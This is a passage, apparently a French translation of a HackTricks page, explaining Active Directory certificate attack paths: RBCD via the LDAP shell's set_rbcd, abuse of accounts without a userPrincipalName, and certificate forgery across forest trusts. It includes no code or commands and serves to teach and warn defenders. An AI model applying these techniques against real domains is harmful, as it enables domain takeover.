L'une des commandes disponibles pour le shell LDAP est set_rbcd, qui permet de définir une délégation contrainte basée sur les ressources (RBCD) sur la cible. Ainsi, nous pourrions effectuer une attaque RBCD pour compromettre le contrôleur de domaine.

Alternativement, nous pouvons également compromettre n'importe quel compte utilisateur pour lequel aucun userPrincipalName n'est défini ou lorsque le userPrincipalName ne correspond pas au sAMAccountName de ce compte. D'après mes propres tests, l'administrateur de domaine par défaut Administrator@corp.local n'a pas de userPrincipalName défini par défaut, et ce compte devrait par défaut avoir plus de privilèges dans LDAP que les contrôleurs de domaine.

Compromettre les forêts avec des certificats

Rupture des confiances des AC pour les forêts de confiance

La configuration de l'inscription inter-forêts est relativement simple. Les administrateurs publient le certificat de l'AC racine de la forêt de ressources dans les forêts de compte et ajoutent les certificats de l'AC d'entreprise de la forêt de ressources aux conteneurs NTAuthCertificates et AIA dans chaque forêt de compte. Pour être clair, cela signifie que l'AC de la forêt de ressources a un contrôle total sur toutes les autres forêts pour lesquelles il gère la PKI. Si des attaquants compromettent cet AC, ils peuvent contrefaire des certificats pour tous les utilisateurs des forêts de ressources et de compte, en rompant la frontière de sécurité de la forêt.

Principaux étrangers avec des privilèges d'inscription

Une autre chose dont les organisations doivent se méfier dans les environnements multi-forêts est lorsque les AC d'entreprise publient des modèles de certificats qui accordent aux Utilisateurs authentifiés ou aux principaux étrangers (utilisateurs/groupes externes à la forêt à laquelle appartient l'AC d'entreprise) des droits d'inscription et de modification.
Lorsqu'un compte s'authentifie via une confiance, AD ajoute le SID des Utilisateurs authentifiés au jeton de l'utilisateur authentifiant. Par conséquent, si un domaine dispose d'un AC d'entreprise avec un modèle qui accorde aux Utilisateurs authentifiés des droits d'inscription, un utilisateur dans une forêt différente pourrait potentiellement s'inscrire dans le modèle. De même, si un modèle accorde explicitement des droits d'inscription à un principal étranger, une relation de contrôle d'accès inter-forêts est créée, permettant à un principal d'une forêt de s'inscrire dans un modèle d'une autre forêt.

En fin de compte, ces deux scénarios augmentent la surface d'attaque d'une forêt à une autre. Selon les paramètres du modèle de certificat, un attaquant pourrait exploiter cela pour obtenir des privilèges supplémentaires dans un domaine étranger.

Références

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥